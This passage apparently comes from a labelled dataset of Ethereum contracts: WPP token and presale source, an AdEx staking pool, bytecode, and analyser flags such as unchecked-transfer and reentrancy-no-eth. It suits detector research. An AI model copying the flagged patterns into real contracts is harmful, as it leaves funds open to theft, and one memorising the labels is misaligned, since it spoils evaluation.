0002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a72315820c03d6868aa63bac70a6af870fe70dbc3b8ab044e9a7fdf1fc80cd90df1fdfd2e64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
5,845
0xf54ceed7de1a6d3bd0d285617ec64047ad0ef29c
pragma solidity ^0.4.19; /** * @title ERC20 * @dev ERC20 interface */ contract ERC20 { function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * The WPPToken contract does this and that... */ contract WPPToken is ERC20, Ownable { using SafeMath for uint256; uint256 public totalSupply = 5000000000 * 1 ether; mapping (address => uint256) public _balances; mapping (address => mapping (address => uint256)) public _approvals; string public name = "WPPTOKEN"; string public symbol = "WPP"; uint256 public decimals = 18; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); constructor () public{ _balances[owner] = totalSupply; } function totalSupply() public constant returns (uint256) { return totalSupply; } function balanceOf(address src) public constant returns (uint256) { return _balances[src]; } function allowance(address src, address guy) public constant returns (uint256) { return _approvals[src][guy]; } function transfer(address dst, uint256 wad) public returns (bool) { assert(_balances[msg.sender] >= wad); _balances[msg.sender] = _balances[msg.sender].sub(wad); _balances[dst] = _balances[dst].add(wad); emit Transfer(msg.sender, dst, wad); return true; } function transferFrom(address src, address dst, uint256 wad) public returns (bool) { assert(_balances[src] >= wad); assert(_approvals[src][msg.sender] >= wad); _approvals[src][msg.sender] = _approvals[src][msg.sender].sub(wad); _balances[src] = _balances[src].sub(wad); _balances[dst] = _balances[dst].add(wad); emit Transfer(src, dst, wad); return true; } function approve(address guy, uint256 wad) public returns (bool) { _approvals[msg.sender][guy] = wad; emit Approval(msg.sender, guy, wad); return true; } } /** * The WPPPresale contract does this and that... */ contract WPPPresale is Ownable{ using SafeMath for uint256; WPPToken public wpp; uint256 public tokencap = 250000000 * 1 ether; // softcap : 5M WPP uint256 public hardcap = 250000000 * 1 ether; bool public reached = false; uint public startTime ; uint public endTime ; uint256 public rate = 2700; uint256 public remain; address public multisigwallet; mapping(address => bool) public isWhitelisted; mapping(address => bool) public isAdminlisted; event BuyTokens(address indexed beneficiary, uint256 value, uint256 amount, uint time); event WhitelistSet(address indexed _address, bool _state); event AdminlistSet(address indexed _address, bool _state); event TreatRemainToken(); constructor(address token, uint _startTime, uint _endTime, address _multi) public{ wpp = WPPToken(token); // wpp.transfer(address(this), tokencap); require (wpp.owner() == msg.sender); startTime = _startTime; // 1531659600 2018-07-15 8:AM EST->1:PM UTC endTime = _endTime; // 1537016400 2018-09-15 8:AM EST->1:PM UTC remain = hardcap; multisigwallet = _multi; } modifier onlyOwners() { require (isAdminlisted[msg.sender] == true || msg.sender == owner); _; } modifier onlyWhitelisted() { require (isWhitelisted[msg.sender] == true); _; } // fallback function can be used to buy tokens function () public payable onlyWhitelisted { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address beneficiary) public payable onlyWhitelisted { buyTokens(beneficiary, msg.value); } // implementation of low level token purchase function function buyTokens(address beneficiary, uint256 weiAmount) internal { require(beneficiary != 0x0); require(validPurchase(weiAmount)); // calculate token amount to be sent uint256 tokens = calcBonus(weiAmount.mul(rate)); if(remain.sub(tokens) <= 0){ reached = true; uint256 real = remain; remain = 0; uint256 refund = weiAmount - real.mul(100).div(110).div(rate); beneficiary.transfer(refund); transferToken(beneficiary, real); forwardFunds(weiAmount.sub(refund)); emit BuyTokens(beneficiary, weiAmount.sub(refund), real, now); } else{ remain = remain.sub(tokens); transferToken(beneficiary, tokens); forwardFunds(weiAmount); emit BuyTokens(beneficiary, weiAmount, tokens, now); } } function calcBonus(uint256 token_amount) internal constant returns (uint256) { if(now > startTime && now <= (startTime + 3 days)) return token_amount * 110 / 100; return token_amount; } // low level transfer token // override to create custom token transfer mechanism, eg. pull pattern function transferToken(address beneficiary, uint256 tokenamount) internal { wpp.transfer(beneficiary, tokenamount); // address(wpp).call(bytes4(keccak256("transfer(address, uint256)")), beneficiary,tokenamount); } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds(uint256 weiAmount) internal { multisigwallet.transfer(weiAmount); } // @return true if the transaction can buy tokens function validPurchase(uint256 weiAmount) internal constant returns (bool) { bool withinPeriod = now > startTime && now <= endTime; bool nonZeroPurchase = weiAmount >= 0.5 ether; bool withinSale = reached ? false : true; return withinPeriod && nonZeroPurchase && withinSale; } function setAdminlist(address _addr, bool _state) public onlyOwner { isAdminlisted[_addr] = _state; emit AdminlistSet(_addr, _state); } function setWhitelist(address _addr) public onlyOwners { require(_addr != address(0)); isWhitelisted[_addr] = true; emit WhitelistSet(_addr, true); } /// @notice Set whitelist state for multiple addresses function setManyWhitelist(address[] _addr) public onlyOwners { for (uint256 i = 0; i < _addr.length; i++) { setWhitelist(_addr[i]); } } // @return true if presale event has ended function hasEnded() public constant returns (bool) { return now > endTime; } // @return true if presale has started function hasStarted() public constant returns (bool) { return now >= startTime; } function setRate(uint256 _rate) public onlyOwner returns (bool) { require (now >= startTime && now <= endTime); rate = _rate; } function treatRemaintoken() public onlyOwner returns (bool) { require(now > endTime); require(remain > 0); wpp.transfer(multisigwallet, remain); remain = 0; emit TreatRemainToken(); return true; } function kill() public onlyOwner{ selfdestruct(owner); } }
0x6080604052600436106101275763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663023c604281146101535780630a9848ac1461017a5780632c4e722e146101a05780632ec40ac8146101b55780633197cbb6146101de57806334fcf437146101f35780633af32abf1461020b57806341c0e1b51461022c57806344691f7e1461024157806361f3c62e1461025657806378e979251461026b578063854cff2f14610280578063887159a2146102a15780638da5cb5b146102b65780639f52b549146102e7578063a380dcb914610308578063b071cbe61461031d578063dc92beec14610332578063e48d81a814610387578063ec8ac4d81461039c578063ecb70fb7146103b0578063f2fde38b146103c5575b336000908152600a602052604090205460ff16151560011461014857600080fd5b610151336103e6565b005b34801561015f57600080fd5b50610168610414565b60408051918252519081900360200190f35b34801561018657600080fd5b50610151600160a060020a0360043516602435151561041a565b3480156101ac57600080fd5b50610168610491565b3480156101c157600080fd5b506101ca610497565b604080519115158252519081900360200190f35b3480156101ea57600080fd5b506101686104a0565b3480156101ff57600080fd5b506101ca6004356104a6565b34801561021757600080fd5b506101ca600160a060020a03600435166104e6565b34801561023857600080fd5b506101516104fb565b34801561024d57600080fd5b506101ca610520565b34801561026257600080fd5b50610168610529565b34801561027757600080fd5b5061016861052f565b34801561028c57600080fd5b50610151600160a060020a0360043516610535565b3480156102ad57600080fd5b506101ca6105e0565b3480156102c257600080fd5b506102cb6106ea565b60408051600160a060020a039092168252519081900360200190f35b3480156102f357600080fd5b506101ca600160a060020a03600435166106f9565b34801561031457600080fd5b506102cb61070e565b34801561032957600080fd5b5061016861071d565b34801561033e57600080fd5b5060408051602060048035808201358381028086018501909652808552610151953695939460249493850192918291850190849080828437509497506107239650505050505050565b34801561039357600080fd5b506102cb610794565b610151600160a060020a03600435166103e6565b3480156103bc57600080fd5b506101ca6107a3565b3480156103d157600080fd5b50610151600160a060020a03600435166107ab565b336000908152600a602052604090205460ff16151560011461040757600080fd5b610411813461084a565b50565b60025481565b600054600160a060020a0316331461043157600080fd5b600160a060020a0382166000818152600b6020908152604091829020805460ff1916851515908117909155825190815291517f98034244f4ff860a3d4cd8c4e9023b03c0da841d97b0ce0d5f19a2ae1e3ec07e9281900390910190a25050565b60075481565b60045460ff1681565b60065481565b60008054600160a060020a031633146104be57600080fd5b60055442101580156104d257506006544211155b15156104dd57600080fd5b60079190915590565b600a6020526000908152604090205460ff1681565b600054600160a060020a0316331461051257600080fd5b600054600160a060020a0316ff5b60055442101590565b60085481565b60055481565b336000908152600b602052604090205460ff161515600114806105625750600054600160a060020a031633145b151561056d57600080fd5b600160a060020a038116151561058257600080fd5b600160a060020a0381166000818152600a6020908152604091829020805460ff19166001908117909155825190815291517f0aa5ec5ffdc7f6f9c4d0dded489d7450297155cb2f71cb771e02427f7dff4f519281900390910190a250565b60008054600160a060020a031633146105f857600080fd5b600654421161060657600080fd5b60085460001061061557600080fd5b600154600954600854604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a039384166004820152602481019290925251919092169163a9059cbb9160448083019260209291908290030181600087803b15801561068a57600080fd5b505af115801561069e573d6000803e3d6000fd5b505050506040513d60208110156106b457600080fd5b5050600060088190556040517f34cc92b0a814792a4451634b04a5ae6c59c7325577c19763211bd0ea57436eab9190a150600190565b600054600160a060020a031681565b600b6020526000908152604090205460ff1681565b600154600160a060020a031681565b60035481565b336000908152600b602052604081205460ff161515600114806107505750600054600160a060020a031633145b151561075b57600080fd5b5060005b815181101561079057610788828281518110151561077957fe5b90602001906020020151610535565b60010161075f565b5050565b600954600160a060020a031681565b600654421190565b600054600160a060020a031633146107c257600080fd5b600160a060020a03811615156107d757600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080547fffffffffffffffffffffffff000000000000000000000000000000000000000016600160a060020a0392909216919091179055565b60008080600160a060020a038516151561086357600080fd5b61086c84610a29565b151561087757600080fd5b61089461088f60075486610a8590919063ffffffff16565b610ab0565b925060006108ad84600854610ae490919063ffffffff16565b116109ad576004805460ff191660011790556008805460009091556007549092506108f2906108e6606e8186606463ffffffff610a8516565b9063ffffffff610af616565b6040519085039150600160a060020a0386169082156108fc029083906000818181858888f1935050505015801561092d573d6000803e3d6000fd5b506109388583610b0d565b61095061094b858363ffffffff610ae416565b610bac565b600160a060020a0385167f90d8b08a6c17cc6733ded05f205dd10dd0538fb7890449f561eedef38c91a6fa61098b868463ffffffff610ae416565b60408051918252602082018690524282820152519081900360600190a2610a22565b6008546109c0908463ffffffff610ae416565b6008556109cd8584610b0d565b6109d684610bac565b604080518581526020810185905242818301529051600160a060020a038716917f90d8b08a6c17cc6733ded05f205dd10dd0538fb7890449f561eedef38c91a6fa919081900360600190a25b5050505050565b60008060008060055442118015610a4257506006544211155b6004549093506706f05b59d3b20000861015925060ff16610a64576001610a67565b60005b9050828015610a735750815b8015610a7c5750805b95945050505050565b6000828202831580610aa15750828482811515610a9e57fe5b04145b1515610aa957fe5b9392505050565b600060055442118015610aca57506005546203f480014211155b15610adc57506064606e820204610adf565b50805b919050565b600082821115610af057fe5b50900390565b6000808284811515610b0457fe5b04949350505050565b600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b158015610b7c57600080fd5b505af1158015610b90573d6000803e3d6000fd5b505050506040513d6020811015610ba657600080fd5b50505050565b600954604051600160a060020a039091169082156108fc029083906000818181858888f19350505050158015610790573d6000803e3d6000fd00a165627a7a72305820ec15be8b0702f90000b3261281142efb5eca2bf2cb9f7a2b72e868110b4ec0ab0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
5,846
0xb6456b57f03352be48bf101b46c1752a0813491a
pragma solidity 0.8.1; interface ISupplyController { function mintIncentive(address addr) external; function mintableIncentive(address addr) external view returns (uint); function mint(address token, address owner, uint amount) external; function changeSupplyController(address newSupplyController) external; } interface IADXToken { function transfer(address to, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function balanceOf(address spender) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function totalSupply() external returns (uint); function supplyController() external view returns (ISupplyController); function changeSupplyController(address newSupplyController) external; function mint(address owner, uint amount) external; } interface IERCDecimals { function decimals() external view returns (uint); } interface IChainlink { // AUDIT: ensure this API is not deprecated function latestAnswer() external view returns (uint); } // Full interface here: https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Router01.sol interface IUniswapSimple { function WETH() external pure returns (address); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); } contract StakingPool { // ERC20 stuff // Constants string public constant name = "AdEx Staking Token"; uint8 public constant decimals = 18; string public constant symbol = "ADX-STAKING"; // Mutable variables uint public totalSupply; mapping(address => uint) private balances; mapping(address => mapping(address => uint)) private allowed; // EIP 2612 bytes32 public DOMAIN_SEPARATOR; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; mapping(address => uint) public nonces; // ERC20 events event Approval(address indexed owner, address indexed spender, uint amount); event Transfer(address indexed from, address indexed to, uint amount); // ERC20 methods function balanceOf(address owner) external view returns (uint balance) { return balances[owner]; } function transfer(address to, uint amount) external returns (bool success) { require(to != address(this), "BAD_ADDRESS"); balances[msg.sender] = balances[msg.sender] - amount; balances[to] = balances[to] + amount; emit Transfer(msg.sender, to, amount); return true; } function transferFrom(address from, address to, uint amount) external returns (bool success) { balances[from] = balances[from] - amount; allowed[from][msg.sender] = allowed[from][msg.sender] - amount; balances[to] = balances[to] + amount; emit Transfer(from, to, amount); return true; } function approve(address spender, uint amount) external returns (bool success) { allowed[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function allowance(address owner, address spender) external view returns (uint remaining) { return allowed[owner][spender]; } // EIP 2612 function permit(address owner, address spender, uint amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external { require(deadline >= block.timestamp, "DEADLINE_EXPIRED"); bytes32 digest = keccak256(abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, nonces[owner]++, deadline)) )); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNATURE"); allowed[owner][spender] = amount; emit Approval(owner, spender, amount); } // Inner function innerMint(address owner, uint amount) internal { totalSupply = totalSupply + amount; balances[owner] = balances[owner] + amount; // Because of https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#transfer-1 emit Transfer(address(0), owner, amount); } function innerBurn(address owner, uint amount) internal { totalSupply = totalSupply - amount; balances[owner] = balances[owner] - amount; emit Transfer(owner, address(0), amount); } // Pool functionality uint public timeToUnbond = 20 days; uint public rageReceivedPromilles = 700; IUniswapSimple public uniswap; // = IUniswapSimple(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); IChainlink public ADXUSDOracle; // = IChainlink(0x231e764B44b2C1b7Ca171fa8021A24ed520Cde10); IADXToken public immutable ADXToken; address public guardian; address public validator; address public governance; // claim token whitelist: normally claim tokens are stablecoins // eg Tether (0xdAC17F958D2ee523a2206206994597C13D831ec7) mapping (address => bool) public whitelistedClaimTokens; // Commitment ID against the max amount of tokens it will pay out mapping (bytes32 => uint) public commitments; // How many of a user's shares are locked mapping (address => uint) public lockedShares; // Unbonding commitment from a staker struct UnbondCommitment { address owner; uint shares; uint unlocksAt; } // claims/penalizations limits uint public maxDailyPenaltiesPromilles; uint public limitLastReset; uint public limitRemaining; // Staking pool events // LogLeave/LogWithdraw must begin with the UnbondCommitment struct event LogLeave(address indexed owner, uint shares, uint unlocksAt, uint maxTokens); event LogWithdraw(address indexed owner, uint shares, uint unlocksAt, uint maxTokens, uint receivedTokens); event LogRageLeave(address indexed owner, uint shares, uint maxTokens, uint receivedTokens); event LogNewGuardian(address newGuardian); event LogClaim(address tokenAddr, address to, uint amountInUSD, uint burnedValidatorShares, uint usedADX, uint totalADX, uint totalShares); event LogPenalize(uint burnedADX); constructor(IADXToken token, IUniswapSimple uni, IChainlink oracle, address guardianAddr, address validatorStakingWallet, address governanceAddr, address claimToken) { ADXToken = token; uniswap = uni; ADXUSDOracle = oracle; guardian = guardianAddr; validator = validatorStakingWallet; governance = governanceAddr; whitelistedClaimTokens[claimToken] = true; // EIP 2612 uint chainId; assembly { chainId := chainid() } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256(bytes("1")), chainId, address(this) ) ); } // Governance functions function setGovernance(address addr) external { require(governance == msg.sender, "NOT_GOVERNANCE"); governance = addr; } function setDailyPenaltyMax(uint max) external { require(governance == msg.sender, "NOT_GOVERNANCE"); require(max <= 200, "DAILY_PENALTY_TOO_LARGE"); maxDailyPenaltiesPromilles = max; resetLimits(); } function setRageReceived(uint rageReceived) external { require(governance == msg.sender, "NOT_GOVERNANCE"); // AUDIT: should there be a minimum here? require(rageReceived <= 1000, "TOO_LARGE"); rageReceivedPromilles = rageReceived; } function setTimeToUnbond(uint time) external { require(governance == msg.sender, "NOT_GOVERNANCE"); require(time >= 1 days && time <= 30 days, "BOUNDS"); timeToUnbond = time; } function setGuardian(address newGuardian) external { require(governance == msg.sender, "NOT_GOVERNANCE"); guardian = newGuardian; emit LogNewGuardian(newGuardian); } function setWhitelistedClaimToken(address token, bool whitelisted) external { require(governance == msg.sender, "NOT_GOVERNANCE"); whitelistedClaimTokens[token] = whitelisted; } // Pool stuff function shareValue() external view returns (uint) { if (totalSupply == 0) return 0; return ((ADXToken.balanceOf(address(this)) + ADXToken.supplyController().mintableIncentive(address(this))) * 1e18) / totalSupply; } function innerEnter(address recipient, uint amount) internal { // Please note that minting has to be in the beginning so that we take it into account // when using ADXToken.balanceOf() // Minting makes an external call but it"s to a trusted contract (ADXToken) ADXToken.supplyController().mintIncentive(address(this)); uint totalADX = ADXToken.balanceOf(address(this)); // The totalADX == 0 check here should be redudnant; the only way to get totalSupply to a nonzero val is by adding ADX if (totalSupply == 0 || totalADX == 0) { innerMint(recipient, amount); } else { uint256 newShares = (amount * totalSupply) / totalADX; innerMint(recipient, newShares); } require(ADXToken.transferFrom(msg.sender, address(this), amount)); // no events, as innerMint already emits enough to know the shares amount and price } function enter(uint amount) external { innerEnter(msg.sender, amount); } function enterTo(address recipient, uint amount) external { innerEnter(recipient, amount); } function unbondingCommitmentWorth(address owner, uint shares, uint unlocksAt) external view returns (uint) { if (totalSupply == 0) return 0; bytes32 commitmentId = keccak256(abi.encode(UnbondCommitment({ owner: owner, shares: shares, unlocksAt: unlocksAt }))); uint maxTokens = commitments[commitmentId]; uint totalADX = ADXToken.balanceOf(address(this)); uint currentTokens = (shares * totalADX) / totalSupply; return currentTokens > maxTokens ? maxTokens : currentTokens; } function leave(uint shares, bool skipMint) external { if (!skipMint) ADXToken.supplyController().mintIncentive(address(this)); require(shares <= balances[msg.sender] - lockedShares[msg.sender], "INSUFFICIENT_SHARES"); uint totalADX = ADXToken.balanceOf(address(this)); uint maxTokens = (shares * totalADX) / totalSupply; uint unlocksAt = block.timestamp + timeToUnbond; bytes32 commitmentId = keccak256(abi.encode(UnbondCommitment({ owner: msg.sender, shares: shares, unlocksAt: unlocksAt }))); require(commitments[commitmentId] == 0, "COMMITMENT_EXISTS"); commitments[commitmentId] = maxTokens; lockedShares[msg.sender] += shares; emit LogLeave(msg.sender, shares, unlocksAt, maxTokens); } function withdraw(uint shares, uint unlocksAt, bool skipMint) external { if (!skipMint) ADXToken.supplyController().mintIncentive(address(this)); require(block.timestamp > unlocksAt, "UNLOCK_TOO_EARLY"); bytes32 commitmentId = keccak256(abi.encode(UnbondCommitment({ owner: msg.sender, shares: shares, unlocksAt: unlocksAt }))); uint maxTokens = commitments[commitmentId]; require(maxTokens > 0, "NO_COMMITMENT"); uint totalADX = ADXToken.balanceOf(address(this)); uint currentTokens = (shares * totalADX) / totalSupply; uint receivedTokens = currentTokens > maxTokens ? maxTokens : currentTokens; commitments[commitmentId] = 0; lockedShares[msg.sender] -= shares; innerBurn(msg.sender, shares); require(ADXToken.transfer(msg.sender, receivedTokens)); emit LogWithdraw(msg.sender, shares, unlocksAt, maxTokens, receivedTokens); } function rageLeave(uint shares, bool skipMint) external { if (!skipMint) ADXToken.supplyController().mintIncentive(address(this)); uint totalADX = ADXToken.balanceOf(address(this)); uint adxAmount = (shares * totalADX) / totalSupply; uint receivedTokens = (adxAmount * rageReceivedPromilles) / 1000; innerBurn(msg.sender, shares); require(ADXToken.transfer(msg.sender, receivedTokens)); emit LogRageLeave(msg.sender, shares, adxAmount, receivedTokens); } // Insurance mechanism // In case something goes wrong, this can be used to recoup funds // As of V5, the idea is to use it to provide some interest (eg 10%) for late refunds, in case channels get stuck and have to wait through their challenge period function claim(address tokenOut, address to, uint amount) external { require(msg.sender == guardian, "NOT_GUARDIAN"); // start by resetting claim/penalty limits resetLimits(); // NOTE: minting is intentionally skipped here // This means that a validator may be punished a bit more when burning their shares, // but it guarantees that claim() always works uint totalADX = ADXToken.balanceOf(address(this)); // Note: whitelist of tokenOut tokens require(whitelistedClaimTokens[tokenOut], "TOKEN_NOT_WHITELISTED"); address[] memory path = new address[](3); path[0] = address(ADXToken); path[1] = uniswap.WETH(); path[2] = tokenOut; // You may think the Uniswap call enables reentrancy, but reentrancy is a problem only if the pattern is check-call-modify, not call-check-modify as is here // there"s no case in which we "double-spend" a value // Plus, ADX, USDT and uniswap are all trusted // Slippage protection; 5% slippage allowed uint price = ADXUSDOracle.latestAnswer(); // chainlink price is in 1e8 // for example, if the amount is in 1e6; // we need to convert from 1e6 to 1e18 (adx) but we divide by 1e8 (price); 18 - 6 + 8 ; verified this by calculating manually uint multiplier = 1.05e26 / (10 ** IERCDecimals(tokenOut).decimals()); uint adxAmountMax = (amount * multiplier) / price; require(adxAmountMax < totalADX, "INSUFFICIENT_ADX"); uint[] memory amounts = uniswap.swapTokensForExactTokens(amount, adxAmountMax, path, to, block.timestamp); // calculate the total ADX amount used in the swap uint adxAmountUsed = amounts[0]; // burn the validator shares so that they pay for it first, before dilluting other holders // calculate the worth in ADX of the validator"s shares uint sharesNeeded = (adxAmountUsed * totalSupply) / totalADX; uint toBurn = sharesNeeded < balances[validator] ? sharesNeeded : balances[validator]; if (toBurn > 0) innerBurn(validator, toBurn); // Technically redundant cause we"ll fail on the subtraction, but we"re doing this for better err msgs require(limitRemaining >= adxAmountUsed, "LIMITS"); limitRemaining -= adxAmountUsed; emit LogClaim(tokenOut, to, amount, toBurn, adxAmountUsed, totalADX, totalSupply); } function penalize(uint adxAmount) external { require(msg.sender == guardian, "NOT_GUARDIAN"); // AUDIT: we can do getLimitRemaining() instead of resetLimits() that returns the remaining limit resetLimits(); // Technically redundant cause we'll fail on the subtraction, but we're doing this for better err msgs require(limitRemaining >= adxAmount, "LIMITS"); limitRemaining -= adxAmount; require(ADXToken.transfer(address(0), adxAmount)); emit LogPenalize(adxAmount); } function resetLimits() internal { if (block.timestamp - limitLastReset > 24 hours) { limitLastReset = block.timestamp; limitRemaining = (ADXToken.balanceOf(address(this)) * maxDailyPenaltiesPromilles) / 1000; } } }
0x608060405234801561001057600080fd5b506004361061025e5760003560e01c80638273402711610146578063ab033ea9116100c3578063c6257b4c11610087578063c6257b4c146104a0578063c7f9218a146104a8578063d505accf146104bb578063dd62ed3e146104ce578063e336ac44146104e1578063f893d346146104f45761025e565b8063ab033ea914610462578063adec4a5014610475578063b6dcaf651461047d578063c066f75e14610485578063c4911ee01461048d5761025e565b806395d89b411161010a57806395d89b411461040e578063996cba68146104165780639b4ee06414610429578063a59f3e0c1461043c578063a9059cbb1461044f5761025e565b806382734027146103af578063839df945146103c25780638a07b419146103d55780638a0dac4a146103e85780638ec0a9eb146103fb5761025e565b806333cfcd3b116101df578063452a9320116101a3578063452a93201461035e5780635aa6e675146103665780636e6eff3e1461036e57806370a082311461037657806372a3b8b3146103895780637ecebe001461039c5761025e565b806333cfcd3b146103205780633644e5151461033357806338156a971461033b5780633a5381b51461034e578063447b15f4146103565761025e565b80632017422d116102265780632017422d146102d357806323b872dd146102db5780632681f7e4146102ee57806330adf81f14610303578063313ce5671461030b5761025e565b806306fdde0314610263578063070141c114610281578063095ea7b3146102965780631322ed44146102b657806318160ddd146102cb575b600080fd5b61026b610507565b60405161027891906128ab565b60405180910390f35b61029461028f36600461270f565b610535565b005b6102a96102a43660046125d5565b61058f565b6040516102789190612845565b6102be6105f9565b6040516102789190612850565b6102be6105ff565b6102be610605565b6102a96102e93660046124f3565b61060b565b6102f66106f9565b60405161027891906127b6565b6102be610708565b61031361072c565b6040516102789190612c2d565b61029461032e366004612763565b610731565b6102be610aca565b6102946103493660046125a8565b610ad0565b6102f6610b25565b6102be610b34565b6102f6610d1b565b6102f6610d2a565b6102be610d39565b6102be610384366004612483565b610d3f565b6102a9610397366004612483565b610d5a565b6102be6103aa366004612483565b610d6f565b6102946103bd36600461270f565b610d81565b6102be6103d036600461270f565b610ddc565b6102946103e336600461273f565b610dee565b6102946103f6366004612483565b6110bd565b6102be610409366004612600565b61113d56